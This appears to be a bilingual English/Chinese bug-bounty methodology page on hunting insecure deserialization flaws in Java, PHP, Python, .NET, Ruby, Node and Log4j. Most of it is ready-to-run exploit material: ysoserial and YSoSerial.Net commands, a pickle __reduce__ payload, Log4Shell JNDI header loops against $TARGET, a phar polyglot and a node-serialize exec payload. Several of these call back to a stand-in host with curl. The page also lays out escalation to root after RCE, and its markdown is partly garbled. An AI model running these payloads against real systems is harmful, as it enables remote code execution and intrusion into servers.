hunt-deserialization

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-DESERIALIZATION — Insecure Deserialization

HUNT-DESERIALIZATION — 不安全反序列化

Crown Jewel Targets

最高价值目标

Deserialization bugs are almost always Critical — they lead directly to RCE without prerequisite conditions.
Highest-value chains:
  • Java ysoserial gadget chains — CommonsCollections, Spring, JNDI, Groovy gadgets → full OS command execution
  • PHP Object Injection —
    __wakeup
    /
    __destruct
    magic methods → file write / RCE
  • Python pickle —
    pickle.loads(attacker_data)
    →
    __reduce__
    →
    os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement, Gem::Installer gadgets → RCE
  • JNDI injection — Log4Shell pattern:
    ${jndi:ldap://attacker/a}
    → class load → RCE

反序列化漏洞几乎始终是 Critical——无需前置条件即可直接导致 RCE。
价值最高的攻击链:
  • Java ysoserial gadget chain — CommonsCollections、Spring、JNDI、Groovy gadget → 完整的 OS 命令执行
  • PHP Object Injection —
    __wakeup
    /
    __destruct
    魔术方法 → 文件写入 / RCE
  • Python pickle —
    pickle.loads(attacker_data)
    →
    __reduce__
    →
    os.system('id')
  • .NET BinaryFormatter — TypeConfuseDelegate gadget chain → RCE
  • Ruby Marshal.load — Gem::Requirement、Gem::Installer gadget → RCE
  • JNDI injection — Log4Shell 模式:
    ${jndi:ldap://attacker/a}
    → 类加载 → RCE

Attack Surface Signals

攻击面信号

Detection Patterns

检测模式

bash
undefined
bash
undefined

Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)

Java serialized objects start with AC ED 00 05 (hex) or rO0A (base64)

echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05
echo "rO0ABXQ=" | base64 -d | xxd | head -1 # shows: ac ed 00 05

PHP serialization: O:8:"stdClass":0:{}

PHP serialization: O:8:"stdClass":0:{}

Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

Python pickle: starts with \x80\x04 (protocol 4) or \x80\x02

Apache Shiro: rememberMe cookie present

Apache Shiro: rememberMe cookie present

curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"
curl -sI https://$TARGET/ | grep -i "Set-Cookie.*rememberMe"

Log4j: test user-controlled fields for JNDI interpolation

Log4j: test user-controlled fields for JNDI interpolation

curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
undefined
curl -H 'User-Agent: ${jndi:dns://COLLAB_HOST/a}' https://$TARGET/
undefined

Header / Cookie Signals

Header / Cookie 信号

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Content-Type: application/x-java-serialized-object
Cookie containing rO0= prefix (Java base64 serialized)
Cookie: rememberMe= (Apache Shiro)
Cookie: _VIEWSTATE (ASP.NET ViewState without encryption)
Endpoints: /remoting/, /invoker/, /jmx-console/, /wls-wsat/

Step-by-Step Hunting Methodology

分步猎查方法

Phase 1 — Java Deserialization (ysoserial)

阶段 1 — Java 反序列化 (ysoserial)

bash
undefined
bash
undefined

Install ysoserial

Install ysoserial

Generate OOB detection payload

Generate OOB detection payload

java -jar ysoserial-all.jar CommonsCollections6
'curl http://COLLAB_HOST/ysoserial' | base64 -w0
java -jar ysoserial-all.jar CommonsCollections6
'curl http://COLLAB_HOST/ysoserial' | base64 -w0

Send as body or cookie

Send as body or cookie

java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 |
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-
java -jar ysoserial-all.jar CommonsCollections6 'id > /tmp/pwned' | base64 |
curl -s https://$TARGET/wls-wsat/CoordinatorPortType
-H "Content-Type: application/x-java-serialized-object"
--data-binary @-

Apache Shiro exploit (default AES key)

Apache Shiro exploit (default AES key)

python3 shiro_exploit.py -u https://$TARGET/ -c "id"
undefined
python3 shiro_exploit.py -u https://$TARGET/ -c "id"
undefined

Phase 2 — PHP Object Injection

阶段 2 — PHP Object Injection

bash
undefined
bash
undefined

Find unserialize() calls in source

Find unserialize() calls in source

grep -r "unserialize(" --include="*.php" .
grep -r "unserialize(" --include="*.php" .

Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}

Inject test: O:8:"stdClass":1:{s:4:"test";s:5:"value";}

Send in cookie, POST param, or hidden form field

Send in cookie, POST param, or hidden form field

If error changes → deserialization confirmed

If error changes → deserialization confirmed

Craft gadget chain using phpggc

Craft gadget chain using phpggc

git clone https://github.com/ambionics/phpggc php phpggc -l # list chains php phpggc Laravel/RCE5 system id | base64
undefined
git clone https://github.com/ambionics/phpggc php phpggc -l # list chains php phpggc Laravel/RCE5 system id | base64
undefined

Phase 3 — Python Pickle

阶段 3 — Python Pickle

bash
undefined
bash
undefined

Generate OOB payload

Generate OOB payload

python3 -c " import pickle, os, base64 class Exploit(object): def reduce(self): return (os.system, ('curl http://COLLAB_HOST/pickle-rce',)) print(base64.b64encode(pickle.dumps(Exploit())).decode()) "
python3 -c " import pickle, os, base64 class Exploit(object): def reduce(self): return (os.system, ('curl http://COLLAB_HOST/pickle-rce',)) print(base64.b64encode(pickle.dumps(Exploit())).decode()) "

Send as cookie or POST body

Send as cookie or POST body

curl -s https://$TARGET/api/load-model
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
undefined
curl -s https://$TARGET/api/load-model
-H "Content-Type: application/octet-stream"
--data-binary @payload.pkl
undefined

Phase 3b — PHP phar://, Python YAML, Node deserialization

阶段 3b — PHP phar://、Python YAML、Node 反序列化

  • PHP phar:// (no
    unserialize()
    call)
    — any filesystem function (
    file_exists
    /
    fopen
    /
    getimagesize
    ) on a
    phar://
    path deserializes the archive metadata -> object injection with zero
    unserialize()
    in code.
    bash
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
  • Python
    yaml.load()
    (CVE-2017-18342)
    — pre-5.1 default-unsafe:
    !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node
    node-serialize
    (CVE-2017-5941)
    — IIFE marker in any field passed to
    unserialize()
    :
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}
  • PHP phar://(无需
    unserialize()
    调用)
    — 任何文件系统函数(
    file_exists
    /
    fopen
    /
    getimagesize
    )处理
    phar://
    路径时,都会反序列化归档元数据 -> 即使代码中完全没有
    unserialize()
    ,也可实现对象注入。
    bash
    phpggc -p phar -o poly.jpg Monolog/RCE1 system id   # valid-image + phar polyglot
    # then reach  phar://uploads/poly.jpg/x  via any fs call
  • Python
    yaml.load()
    (CVE-2017-18342)
    — 5.1 之前版本默认不安全:
    !!python/object/apply:os.system ['curl http://$COLLAB/yaml']
  • Node
    node-serialize
    (CVE-2017-5941)
    — 传入
    unserialize()
    的任意字段中出现 IIFE 标记:
    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://$COLLAB/node')}()"}

Phase 4 — .NET ViewState

阶段 4 — .NET ViewState

bash
undefined
bash
undefined

Check if ViewState is unsigned (MAC disabled)

Check if ViewState is unsigned (MAC disabled)

Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

Look for __VIEWSTATE in HTML source without __VIEWSTATEMAC

YSoSerial.Net

YSoSerial.Net

dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
undefined
dotnet YSoSerial.exe -f BinaryFormatter -g TypeConfuseDelegate
-c "cmd /c curl http://COLLAB_HOST/viewstate-rce" -o base64
undefined

Phase 5 — Log4Shell / JNDI

阶段 5 — Log4Shell / JNDI

bash
undefined
bash
undefined

Test all user-controlled inputs

Test all user-controlled inputs

COLLAB="COLLAB_HOST" for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do curl -s https://$TARGET/ -H "$HEADER: ${jndi:dns://$COLLAB/$HEADER}" & done
COLLAB="COLLAB_HOST" for HEADER in "User-Agent" "X-Forwarded-For" "Referer" "X-Api-Version" "Accept-Language"; do curl -s https://$TARGET/ -H "$HEADER: ${jndi:dns://$COLLAB/$HEADER}" & done

Test POST body fields

Test POST body fields

curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
undefined
curl -s -X POST https://$TARGET/api/login
-H "Content-Type: application/json"
-d "{"username": "${jndi:ldap://$COLLAB/a}"}"
undefined

Phase 6 — Ruby Marshal

阶段 6 — Ruby Marshal

bash
undefined
bash
undefined

Look for Marshal.load in source

Look for Marshal.load in source

grep -r "Marshal.load|Marshal.restore" --include="*.rb" .
grep -r "Marshal.load|Marshal.restore" --include="*.rb" .

Gem::Requirement gadget chain via marshalable objects

Gem::Requirement gadget chain via marshalable objects

Use ruby-advisory-db gadgets

Use ruby-advisory-db gadgets


---

---

Chain Table

攻击链表

Deserialization signalChain toImpact
Any deser RCE/etc/passwd + id outputProve arbitrary command execution
RCE as low-privilege userFind SUID binaries / sudo rulesPrivilege escalation → root
Blind RCE (OOB callback)DNS callback → confirm execSufficient for Critical PoC
Log4ShellLDAP → JNDI → class loadFull RCE on JVM process

反序列化信号攻击链影响
任意反序列化 RCE/etc/passwd + id 输出证明可执行任意命令
以低权限用户身份获得 RCE查找 SUID 二进制文件 / sudo 规则权限提升 → root
Blind RCE(OOB 回调)DNS 回调 → 确认执行足以构成 Critical PoC
Log4ShellLDAP → JNDI → 类加载在 JVM 进程中实现完整 RCE

Automation

自动化

bash
undefined
bash
undefined

OOB listener

OOB listener

interactsh-client -v -n 5
interactsh-client -v -n 5

JNDI exploit kit

JNDI exploit kit

Validation

验证

✅ DNS/HTTP callback from COLLAB host: blind deserialization confirmed ✅ Command output in response: full RCE confirmed
Severity: Almost always Critical — RCE with server process privileges.
✅ 来自 COLLAB host 的 DNS/HTTP 回调:已确认盲反序列化 ✅ 响应中出现命令输出:已确认完整 RCE
严重等级: 几乎始终为 Critical——以服务器进程权限实现 RCE。